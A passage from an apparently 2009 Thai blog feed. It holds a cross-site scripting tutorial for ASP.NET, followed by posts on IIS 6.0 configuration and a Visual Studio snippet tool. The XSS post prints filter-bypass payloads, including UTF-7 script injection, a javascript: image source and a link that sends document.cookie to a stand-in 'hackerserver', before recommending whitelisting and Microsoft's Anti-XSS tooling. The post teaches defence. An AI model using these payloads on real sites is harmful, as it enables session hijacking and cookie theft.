</span><span style="color:#008080;">3</span> <span style="background-color:#f5f5f5;color:#000000;">            fooString </span><span style="background-color:#f5f5f5;color:#000000;">=</span><span style="background-color:#f5f5f5;color:#000000;"> </span><span style="background-color:#f5f5f5;color:#0000ff;">Replace</span><span style="background-color:#f5f5f5;color:#000000;">(fooString, </span><span style="background-color:#f5f5f5;color:#800000;">"</span><span style="background-color:#f5f5f5;color:#800000;">&lt;</span><span style="background-color:#f5f5f5;color:#800000;">"</span><span style="background-color:#f5f5f5;color:#000000;">, </span><span style="background-color:#f5f5f5;color:#800000;">"</span><span style="background-color:#f5f5f5;color:#800000;"> </span><span style="background-color:#f5f5f5;color:#800000;">"</span><span style="background-color:#f5f5f5;color:#000000;">)
</span><span style="color:#008080;">4</span> <span style="background-color:#f5f5f5;color:#000000;">            fooString </span><span style="background-color:#f5f5f5;color:#000000;">=</span><span style="background-color:#f5f5f5;color:#000000;"> </span><span style="background-color:#f5f5f5;color:#0000ff;">Replace</span><span style="background-color:#f5f5f5;color:#000000;">(fooString, </span><span style="background-color:#f5f5f5;color:#800000;">"</span><span style="background-color:#f5f5f5;color:#800000;">&gt;</span><span style="background-color:#f5f5f5;color:#800000;">"</span><span style="background-color:#f5f5f5;color:#000000;">, </span><span style="background-color:#f5f5f5;color:#800000;">"</span><span style="background-color:#f5f5f5;color:#800000;"> </span><span style="background-color:#f5f5f5;color:#800000;">"</span><span style="background-color:#f5f5f5;color:#000000;">)
</span><span style="color:#008080;">5</span> <span style="background-color:#f5f5f5;color:#000000;">            fooString </span><span style="background-color:#f5f5f5;color:#000000;">=</span><span style="background-color:#f5f5f5;color:#000000;"> </span><span style="background-color:#f5f5f5;color:#0000ff;">Replace</span><span style="background-color:#f5f5f5;color:#000000;">(fooString, </span><span style="background-color:#f5f5f5;color:#800000;">"</span><span style="background-color:#f5f5f5;color:#800000;">%</span><span style="background-color:#f5f5f5;color:#800000;">"</span><span style="background-color:#f5f5f5;color:#000000;">, </span><span style="background-color:#f5f5f5;color:#800000;">"</span><span style="background-color:#f5f5f5;color:#800000;"> </span><span style="background-color:#f5f5f5;color:#800000;">"</span><span style="background-color:#f5f5f5;color:#000000;">)
</span><span style="color:#008080;">6</span> <span style="background-color:#f5f5f5;color:#000000;">            fooString </span><span style="background-color:#f5f5f5;color:#000000;">=</span><span style="background-color:#f5f5f5;color:#000000;"> </span><span style="background-color:#f5f5f5;color:#0000ff;">Replace</span><span style="background-color:#f5f5f5;color:#000000;">(fooString, </span><span style="background-color:#f5f5f5;color:#800000;">"</span><span style="background-color:#f5f5f5;color:#800000;">,</span><span style="background-color:#f5f5f5;color:#800000;">"</span><span style="background-color:#f5f5f5;color:#000000;">, </span><span style="background-color:#f5f5f5;color:#800000;">"</span><span style="background-color:#f5f5f5;color:#800000;"> </span><span style="background-color:#f5f5f5;color:#800000;">"</span><span style="background-color:#f5f5f5;color:#000000;">)
</span><span style="color:#008080;">7</span> <span style="background-color:#f5f5f5;color:#000000;">            Response.Write fooString
</span><span style="color:#008080;">8</span> <span style="background-color:#ffff00;color:#000000;">%&gt; </span></span></pre>
<p>จะเห็นได้ว่าแค่นี้ก็น่าจะเพียงพอแล้วที่เราจะป้องกันจากวิธีการโจมตีด้วยวิธีนี้ ถ้าอย่างนั้น หากผู้โจมตีเปลี่ยนรูปแบบข้อมูลเป็น</p>
<p><strong>somepage.aspx<span style="font-size:10pt;font-family:Arial,sans-serif;">?foo=%2bADw-script%2bAD4-alert(&#8216;</span>vulnerable XSS code<span style="font-size:10pt;font-family:Arial,sans-serif;">&#8216;)%2bADw-/script%2bAD4-</span></strong></p>
<p>การป้องการด้านบนก็ไม่สามารถป้องกันได้</p>
<p>ถ้าเราเปลี่ยนมาใช้การเข้ารหัสข้อมูลที่เป็น  HTML ก่อนนำไปใช้งานโดย Server.HTMLEncode()</p>
<pre style="background-color:white;"><span style="font-size:x-small;"><span style="color:#008080;">1</span> <span style="color:#000000;">Server.HTMLEncode(</span><span style="color:#000000;">&lt;%=</span><span style="color:#000000;"> (Request.Params[</span><span style="color:#800000;">"</span><span style="color:#800000;">Search</span><span style="color:#800000;">"</span><span style="color:#000000;">])</span><span style="color:#000000;">%&gt;</span><span style="color:#000000;">); </span></span></pre>
<p>แต่ถ้าข้อมูลที่ได้รับเป็นแบบนี้</p>
<pre style="background-color:white;"><span style="font-size:x-small;"><span style="color:#008080;"> 1</span> <span style="color:#000000;">&lt;</span><span style="color:#000000;">a id</span><span style="color:#000000;">=</span><span style="color:#000000;">evilLink  href</span><span style="color:#000000;">=</span><span style="color:#800000;">"</span><span style="color:#800000;">http://victimsite.com</span><span style="color:#800000;">
</span><span style="color:#008080;"> 2</span> <span style="color:#000000;">/</span><span style="color:#000000;">sample.aspx</span><span style="color:#000000;">?</span><span style="color:#000000;">Search</span><span style="color:#000000;">=</span><span style="color:#800000;">'</span><span style="color:#800000;">search+string</span><span style="color:#800000;">'</span><span style="color:#000000;">%</span><span style="color:#000000;">3Bw</span><span style="color:#000000;">%</span><span style="color:#000000;">3Dwindow.open(</span><span style="color:#800000;">'</span><span style="color:#800000;">http%3A%2F</span><span style="color:#800000;">
</span><span style="color:#008080;"> 3</span> <span style="color:#000000;">%</span><span style="color:#000000;">2Fhackerserver</span><span style="color:#000000;">%</span><span style="color:#000000;">2Fhackersite
</span><span style="color:#008080;"> 4</span> <span style="color:#000000;">%</span><span style="color:#000000;">2F</span><span style="color:#000000;">%</span><span style="color:#000000;">3F</span><span style="color:#800000;">'</span><span style="color:#800000;">%2Bdocument.cookie%2C</span><span style="color:#800000;">'</span><span style="color:#000000;">wname</span><span style="color:#800000;">'</span><span style="color:#800000;">%2C</span><span style="color:#800000;">'</span><span style="color:#000000;">width</span><span style="color:#000000;">%</span><span style="color:#000000;">3D10</span><span style="color:#000000;">%</span><span style="color:#000000;">2Cheight</span><span style="color:#000000;">%</span><span style="color:#000000;">3D10</span><span style="color:#800000;">'</span><span style="color:#800000;">)</span><span style="color:#800000;">
</span><span style="color:#008080;"> 5</span> <span style="color:#000000;">%</span><span style="color:#000000;">3BsetTimeout(</span><span style="color:#800000;">'</span><span style="color:#800000;">w.close()</span><span style="color:#800000;">'</span><span style="color:#000000;">%</span><span style="color:#000000;">2C1000)</span><span style="color:#000000;">%</span><span style="color:#000000;">3Balert(</span><span style="color:#800000;">'</span><span style="color:#800000;">Please+try+again</span><span style="color:#800000;">'</span><span style="color:#000000;">)</span><span style="color:#800000;">"</span><span style="color:#800000;"> mce_href=</span><span style="color:#800000;">"</span><span style="color:#000000;">http:</span><span style="color:#008000;">//</span><span style="color:#008000;">victimsite.com</span><span style="color:#008000;">
</span><span style="color:#008080;"> 6</span> <span style="color:#000000;">/</span><span style="color:#000000;">sample.aspx</span><span style="color:#000000;">?</span><span style="color:#000000;">Search</span><span style="color:#000000;">=</span><span style="color:#800000;">'</span><span style="color:#800000;">search+string</span><span style="color:#800000;">'</span><span style="color:#000000;">%</span><span style="color:#000000;">3Bw</span><span style="color:#000000;">%</span><span style="color:#000000;">3Dwindow.open(</span><span style="color:#800000;">'</span><span style="color:#800000;">http%3A%2F</span><span style="color:#800000;">
</span><span style="color:#008080;"> 7</span> <span style="color:#000000;">%</span><span style="color:#000000;">2Fhackerserver</span><span style="color:#000000;">%</span><span style="color:#000000;">2Fhackersite
</span><span style="color:#008080;"> 8</span> <span style="color:#000000;">%</span><span style="color:#000000;">2F</span><span style="color:#000000;">%</span><span style="color:#000000;">3F</span><span style="color:#800000;">'</span><span style="color:#800000;">%2Bdocument.cookie%2C</span><span style="color:#800000;">'</span><span style="color:#000000;">wname</span><span style="color:#800000;">'</span><span style="color:#800000;">%2C</span><span style="color:#800000;">'</span><span style="color:#000000;">width</span><span style="color:#000000;">%</span><span style="color:#000000;">3D10</span><span style="color:#000000;">%</span><span style="color:#000000;">2Cheight</span><span style="color:#000000;">%</span><span style="color:#000000;">
</span><span style="color:#008080;"> 9</span> <span style="color:#000000;">3D10</span><span style="color:#800000;">'</span><span style="color:#800000;">)%3BsetTimeout(</span><span style="color:#800000;">'</span><span style="color:#000000;">w.close()</span><span style="color:#800000;">'</span><span style="color:#800000;">%2C1000)%3Balert(</span><span style="color:#800000;">'</span><span style="color:#000000;">Please</span><span style="color:#000000;">+</span><span style="color:#0000ff;">try</span><span style="color:#000000;">+</span><span style="color:#000000;">again</span><span style="color:#800000;">'</span><span style="color:#800000;">)"&gt;</span><span style="color:#800000;">
</span><span style="color:#008080;">10</span> <span style="color:#000000;">http:</span><span style="color:#008000;">//</span><span style="color:#008000;">victimsite.com/default.aspx&lt;/a&gt;</span></span></pre>
<p>อีกตัวอย่างหนึ่งถ้าเราใช้   Server.HTMLEncode()</p>
<p>&lt;IMG src=&#8217;&lt;%=Server.HtmlEncode(request(&#8220;im&#8221;))%&gt;&#8217;&gt;</p>
<p>ถ้าข้อมูลมี่ได้รับเป็นแบบนี้</p>
<p><span style="font-size:10pt;font-family:Arial,sans-serif;">&lt;IMG src=&#8221;javascript:alert(&#8216;XSS&#8217;);&#8221;&gt; </span></p>
<p>สังเกตได้ว่าจะไม่มี tag &#8220;&lt;&#8221;  หรือ &#8220;&gt;&#8221; ให้เห็นเลย การเข้ารหัส HTML จึงไม่เกิดขึ้น</p>
<p><strong>การตรวจข้อมูลที่นำเข้า (Input Validation)</strong></p>
<p>ดังนั้นก็ป้องกันที่ดีนั้นควรกำหนรูปแบบข้อมูลที่เราต้องการขึ้นมาก่อน หรือที่เรียกว่า White list แล้วทำการตรวจสอบ (Validation)เอาเฉพาะข้อมูลที่ต้องการเท่านั้น นอกเหนือจากนั้นถือว่าเป็น  ข้อมูลที่ไม่พึ่งประสงค์ การตรวจสอบอาจจะใช้ Regular expression เช่น</p>
<p>string pattern = @&#8221;^[A-Za-z]+$&#8221;;  //รับข้อมูลที่เป็นตัวอักษร a-z เท่านั้น</p>
<p><strong>การเข้ารหัสข้อมูลที่เราดึงมาใช้งาน  (Output Encoding)</strong></p>
<p>ใน  .net  สามารถนำ library Anti-Cross Site Scripting ของ Microsoft มาใช้ได้เลย</p>
<p><a href="http://msdn.microsoft.com/en-us/security/aa973814.aspx"> http://msdn.microsoft.com/en-us/security/aa973814.aspx</a><span style="font-size:10pt;font-family:Arial,sans-serif;"> </span></p>
<p>หรือใช้  XSSDetect  ซึ่งเป็น  pluginใน Visual Studio มาใช้ในการตรวจสอบ code</p>
<p><img title="XSSDetect" src="http://blogs.msdn.com/photos/ace_team/images/5611754/original.aspx" alt="XSSDetect" width="392" height="277" align="middle" /></p>
<p><a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=19a9e348-bdb9-45b3-a1b7-44ccdcb7cfbe&amp;displaylang=en"> http://www.microsoft.com/downloads/details.aspx?FamilyID=19a9e348-bdb9-45b3-a1b7-44ccdcb7cfbe&amp;displaylang=en</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/janbin.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/janbin.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/janbin.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/janbin.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/janbin.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/janbin.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/janbin.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/janbin.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/janbin.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/janbin.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/janbin.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/janbin.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/janbin.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/janbin.wordpress.com/23/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=janbin.wordpress.com&amp;blog=1252761&amp;post=23&amp;subd=janbin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://janbin.wordpress.com/2009/01/31/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b8%95%e0%b8%a3%e0%b8%a7%e0%b8%88%e0%b8%aa%e0%b8%ad%e0%b8%9a-cross-site-scripting/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c12a92838ad2497a69e0d6c4d82e515d?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">janbin</media:title>
		</media:content>

		<media:content url="http://blogs.msdn.com/photos/ace_team/images/5611754/original.aspx" medium="image">
			<media:title type="html">XSSDetect</media:title>
		</media:content>
	</item>
		<item>
		<title>การสร้างเวบไซด์ใน IIS 6.0</title>
		<link>http://janbin.wordpress.com/2009/01/31/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b8%aa%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%87%e0%b9%80%e0%b8%a7%e0%b8%9a%e0%b9%84%e0%b8%8b%e0%b8%94%e0%b9%8c%e0%b9%83%e0%b8%99-iis-60/</link>
		<comments>http://janbin.wordpress.com/2009/01/31/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b8%aa%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%87%e0%b9%80%e0%b8%a7%e0%b8%9a%e0%b9%84%e0%b8%8b%e0%b8%94%e0%b9%8c%e0%b9%83%e0%b8%99-iis-60/#comments</comments>
		<pubDate>Sat, 31 Jan 2009 19:34:52 +0000</pubDate>
		<dc:creator>janbin</dc:creator>
				<category><![CDATA[โปรเเกรมมิ่ง(Programming)]]></category>
		<category><![CDATA[IIS .NET]]></category>

		<guid isPermaLink="false">http://janbin.wordpress.com/?p=21</guid>
		<description><![CDATA[ในแต่ล่ะครั้งที่เราสร้างเวบไซด์โดยเฉพาะ Server ที่เป็น windows เราจะคุ้นเคยกับการ config IIS (Internet Information Server ) เป็นอย่างดี  โดยเฉพาะ IIS 6 ซึ่งอยู่บน windows 2003  server (ปัจจุบัน version ล่าสุด คือ IIS 7  บน Windows Server 2008 Omar AL Zabir  เจ้าของเวบ site pageflakes.com ได้เขียนใน  blog ของเขาเรื่อง  Best practices for creating websites in IIS 6.0 ผมได้นำมาสรุปเอาไว้ว่า ควรสร้าง Application Pool แยกออกมาในแต่ล่ะเวบไชด์ เนื่องจาก ใน IIS มี  [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=janbin.wordpress.com&amp;blog=1252761&amp;post=21&amp;subd=janbin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>ในแต่ล่ะครั้งที่เราสร้างเวบไซด์โดยเฉพาะ Server ที่เป็น windows เราจะคุ้นเคยกับการ config IIS (Internet Information Server ) เป็นอย่างดี  โดยเฉพาะ IIS 6 ซึ่งอยู่บน windows 2003  server (ปัจจุบัน version ล่าสุด คือ IIS 7  บน Windows Server 2008 Omar AL Zabir  เจ้าของเวบ site <a href="http://www.pageflakes.com/">pageflakes.com</a> ได้เขียนใน  blog ของเขาเรื่อง  <a href="http://msmvps.com/blogs/omar/archive/2008/10/04/best-practices-for-creating-websites-in-iis-6-0.aspx">Best practices for creating websites in IIS 6.0</a> ผมได้นำมาสรุปเอาไว้ว่า</p>
<p><strong>ควรสร้าง Application Pool แยกออกมาในแต่ล่ะเวบไชด์</strong><br />
เนื่องจาก ใน IIS มี  process ที่ชื่อว่า  w3wp.exe  สามารถที่จะสร้าง  instance การทำการได้หลายๆ ตัวพร้อมกันตามจำนวน app pool  โดยปกติแล้ว  IIS จะมี <span style="text-decoration:underline;">DefaultAppPool</span> เป็น app pool เบื้องต้น แต่ล่ะ app pool จะมีหน้าที่ในการจัดการ   In-Process  seesion , memory cache  บน server ถ้าหากเรามีหลายๆเวบ site  บน Server ทุกตัวจะใช้ <span style="text-decoration:underline;">DefaultAppPool</span> ร่วมกัน  ทำให้การจัดการเป็นไปได้ยาก  ในเวลาที่บางเวบไซด์มีจำนวน traffic จำนวนมาก  เพราะฉนั้นเราควรแยก app pool ออกมาแบบ  one website per one app pool  ทำได้โดย</p>
<p>ควร disable <span style="text-decoration:underline;">DefaultAppPool</span> เพื่อป้องกันเข้าใจผิดและเข้าไปใช้งาน <span style="text-decoration:underline;">DefaultAppPool</span> ได้อีก</p>
<p><a href="http://msmvps.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/omar.BestpracticesforcreatingwebsitesinIIS6.0_5F00_CC6A/image_5F00_4.png"> <img style="border-width:0;" src="http://msmvps.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/omar.BestpracticesforcreatingwebsitesinIIS6.0_5F00_CC6A/image_5F00_thumb_5F00_1.png" border="0" alt="image" width="471" height="241" /></a></p>
<p>อย่างแรกเลย click ขวา ที่ Application Pool  แล้วเลือก new application pool  ควรตั้งชื่อ app pool ให้เหมือนกับชื่อเวบไซด์ เพื่อให้ง่ายต่อความเข้าใจ</p>
<p><a href="http://msmvps.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/omar.BestpracticesforcreatingwebsitesinIIS6.0_5F00_CC6A/image_5F00_6.png"><img style="border-width:0;" src="http://msmvps.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/omar.BestpracticesforcreatingwebsitesinIIS6.0_5F00_CC6A/image_5F00_thumb_5F00_2.png" border="0" alt="image" width="436" height="352" /></a></p>
<p>เวลาที่เราสร้างเวบไซด์ใหม่ก็ให้ Reference ให้ตรงกับ App pool ที่เราสร้างไว้ เหมือนรูปด้านบน</p>
<p><strong>Customize Website properties for performance, scalability and maintainability</strong></p>
<ol>
<li> Maping host  header ให้ถูกต้องทั้ง ที่มี  www และ ไม่มี  www  (domain.com,www.domain.com)<a href="http://msmvps.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/omar.BestpracticesforcreatingwebsitesinIIS6.0_5F00_CC6A/image_5F00_10.png"><img style="border-width:0;" src="http://msmvps.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/omar.BestpracticesforcreatingwebsitesinIIS6.0_5F00_CC6A/image_5F00_thumb_5F00_4.png" border="0" alt="image" width="405" height="308" /></a></li>
<li> เปิดการใช้  log  ดังรูป เพื่อนำข้อมูลใช้ในการวิเคราะห์ เพื่อหาข้อมูล bandwidth หรือ อาจจะใช้  Google Analysis Service ก็ได้<a href="http://msmvps.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/omar.BestpracticesforcreatingwebsitesinIIS6.0_5F00_CC6A/image_5F00_12.png"><img style="border-width:0;" src="http://msmvps.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/omar.BestpracticesforcreatingwebsitesinIIS6.0_5F00_CC6A/image_5F00_thumb_5F00_5.png" border="0" alt="image" width="418" height="316" /></a></li>
<li> ควรเพิ่ม defualt.aspx  ถ้าหาก user เปิดเวบไซด์เข้ามาโดยไม่มีการเรียกชื่อ  file .aspx  defualt.aspx ก็จะโดนเรียกใช้ทันที<a href="http://msmvps.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/omar.BestpracticesforcreatingwebsitesinIIS6.0_5F00_CC6A/image_5F00_14.png"><img style="border-width:0;" src="http://msmvps.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/omar.BestpracticesforcreatingwebsitesinIIS6.0_5F00_CC6A/image_5F00_thumb_5F00_6.png" border="0" alt="image" width="393" height="243" /></a></li>
<li> Turn on Content Expiration. เพื่อให้  Browser เก็บ cache นั้นเอาไว้ประมาณ 30 วัน<br />
Remove the <span style="text-decoration:underline;">X-Powered-By: ASP.NET</span> header เพื่อลดการ ส่งค่าไปมาให้โดยไม่มีประโยชน์ (21 Byte) ในแต่ล่ะครั้ง อีกทั้งช่วยป้องกันพวก  hacker ได้ในระดับหนึ่ง    เพิ่ม &#8220;From&#8221; header และ  ตั้งชื่อ  server name มีประโยชน์ในการทำ load balancing</p>
<p><a href="http://msmvps.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/omar.BestpracticesforcreatingwebsitesinIIS6.0_5F00_CC6A/image_5F00_16.png"><img style="border-width:0;" src="http://msmvps.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/omar.BestpracticesforcreatingwebsitesinIIS6.0_5F00_CC6A/image_5F00_thumb_5F00_7.png" border="0" alt="image" width="397" height="385" /></a></li>
<li> Set 404 Not found ไปที่  file ที่เราสร้างขึ้นเอง เช่น myerrorpage.aspx มีประโยชน์ ในการจัดการ error message<a href="http://msmvps.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/omar.BestpracticesforcreatingwebsitesinIIS6.0_5F00_CC6A/image_5F00_18.png"><img style="border-width:0;" src="http://msmvps.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/omar.BestpracticesforcreatingwebsitesinIIS6.0_5F00_CC6A/image_5F00_thumb_5F00_8.png" border="0" alt="image" width="395" height="341" /></a></li>
<li> ตรวจสอบว่าเราเลือกใช้  ASP.NET  2.0 สำหรับเวบไซด์ ASP.NET 2.0 3.0 3.5<a href="http://msmvps.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/omar.BestpracticesforcreatingwebsitesinIIS6.0_5F00_CC6A/image_5F00_20.png"><img style="border-width:0;" src="http://msmvps.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/omar.BestpracticesforcreatingwebsitesinIIS6.0_5F00_CC6A/image_5F00_thumb_5F00_9.png" border="0" alt="image" width="396" height="385" /></a></li>
</ol>
<p>สุดท้าย ควรเปิดการใช้การบีบอัด  header โดยใช้  gzip  สามารถเข้าไปดูวิธีการได้ที่<br />
<a href="http://msmvps.com/blogs/omar/archive/2006/08/10/iis-6-compression-quickest-and-effective-way-to-do-it-for-asp-net-compression.aspx">turn on IIS 6.0 gzip compression</a>.</p>
<p>credit : <a href="http://codesnippet.exteen.com/20081023/iis-6-0">http://codesnippet.exteen.com/20081023/iis-6-0</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/janbin.wordpress.com/21/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/janbin.wordpress.com/21/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/janbin.wordpress.com/21/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/janbin.wordpress.com/21/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/janbin.wordpress.com/21/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/janbin.wordpress.com/21/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/janbin.wordpress.com/21/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/janbin.wordpress.com/21/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/janbin.wordpress.com/21/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/janbin.wordpress.com/21/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/janbin.wordpress.com/21/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/janbin.wordpress.com/21/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/janbin.wordpress.com/21/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/janbin.wordpress.com/21/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=janbin.wordpress.com&amp;blog=1252761&amp;post=21&amp;subd=janbin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://janbin.wordpress.com/2009/01/31/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b8%aa%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%87%e0%b9%80%e0%b8%a7%e0%b8%9a%e0%b9%84%e0%b8%8b%e0%b8%94%e0%b9%8c%e0%b9%83%e0%b8%99-iis-60/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c12a92838ad2497a69e0d6c4d82e515d?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">janbin</media:title>
		</media:content>

		<media:content url="http://msmvps.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/omar.BestpracticesforcreatingwebsitesinIIS6.0_5F00_CC6A/image_5F00_thumb_5F00_1.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://msmvps.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/omar.BestpracticesforcreatingwebsitesinIIS6.0_5F00_CC6A/image_5F00_thumb_5F00_2.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://msmvps.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/omar.BestpracticesforcreatingwebsitesinIIS6.0_5F00_CC6A/image_5F00_thumb_5F00_4.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://msmvps.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/omar.BestpracticesforcreatingwebsitesinIIS6.0_5F00_CC6A/image_5F00_thumb_5F00_5.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://msmvps.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/omar.BestpracticesforcreatingwebsitesinIIS6.0_5F00_CC6A/image_5F00_thumb_5F00_6.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://msmvps.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/omar.BestpracticesforcreatingwebsitesinIIS6.0_5F00_CC6A/image_5F00_thumb_5F00_7.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://msmvps.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/omar.BestpracticesforcreatingwebsitesinIIS6.0_5F00_CC6A/image_5F00_thumb_5F00_8.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://msmvps.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/omar.BestpracticesforcreatingwebsitesinIIS6.0_5F00_CC6A/image_5F00_thumb_5F00_9.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>
	</item>
		<item>
		<title>Visual Studio 2008 Snippet Designer</title>
		<link>http://janbin.wordpress.com/2009/01/31/visual-studio-2008-snippet-designer/</link>
		<comments>http://janbin.wordpress.com/2009/01/31/visual-studio-2008-snippet-designer/#comments</comments>
		<pubDate>Sat, 31 Jan 2009 19:28:09 +0000</pubDate>
		<dc:creator>janbin</dc:creator>
				<category><![CDATA[โปรเเกรมมิ่ง(Programming)]]></category>
		<category><![CDATA[VisualStudio Tools Snippet Programs]]></category>

		<guid isPermaLink="false">http://janbin.wordpress.com/?p=18</guid>
		<description><![CDATA[Mathew Manela จาก  The Online Tools Group ของ Microsoft ได้ออกเครื่องมือที่ใช้สร้างและจัดการ snippet code สำหรับ Visual Studio 2008 สามารถ Download ได้ที่  http://www.codeplex.com/SnippetDesigner มี feature หรือ functionality ได้แก่ สามารถสร้าง file .SNIPPET Export  snippet code  เข้ากับ snippet ใน Visual Studio 2008 ด้วยการ Click ขวาที่  code แล้วเลือก  &#8220;Export as Snippet&#8221; แก้ไข snippets โดยใช้  Snippet Editor มี Snippet Explorer  ไปที่  View [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=janbin.wordpress.com&amp;blog=1252761&amp;post=18&amp;subd=janbin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<div class="entrycontent">Mathew Manela จาก  The Online Tools Group ของ Microsoft ได้ออกเครื่องมือที่ใช้สร้างและจัดการ snippet code สำหรับ Visual Studio 2008 สามารถ Download ได้ที่  <a title="http://www.codeplex.com/SnippetDesigner" href="http://www.codeplex.com/SnippetDesigner">http://www.codeplex.com/SnippetDesigner</a> มี feature หรือ functionality ได้แก่</p>
<ol>
<li> สามารถสร้าง file .SNIPPET</li>
<li> Export  snippet code  เข้ากับ snippet ใน Visual Studio 2008 ด้วยการ Click ขวาที่  code แล้วเลือก  &#8220;Export as Snippet&#8221;
<p><img style="border:0 none;" src="http://blogs.msdn.com/blogfiles/knom/WindowsLiveWriter/AMustHaveToolVS2008SnippetDesigner_BC40/image_3.png" border="0" alt="image" width="405" height="137" /></li>
<li> แก้ไข snippets โดยใช้  Snippet Editor
<p><img style="border:0 none;" src="http://blogs.msdn.com/blogfiles/knom/WindowsLiveWriter/AMustHaveToolVS2008SnippetDesigner_BC40/image_9.png" border="0" alt="image" width="400" height="292" /></li>
<li> มี Snippet Explorer  ไปที่  View &#8211; Other Windows &#8211; Snippet Explorer
<p><img style="border:0 none;" src="http://blogs.msdn.com/blogfiles/knom/WindowsLiveWriter/AMustHaveToolVS2008SnippetDesigner_BC40/image_8.png" border="0" alt="image" width="403" height="420" /></li>
</ol>
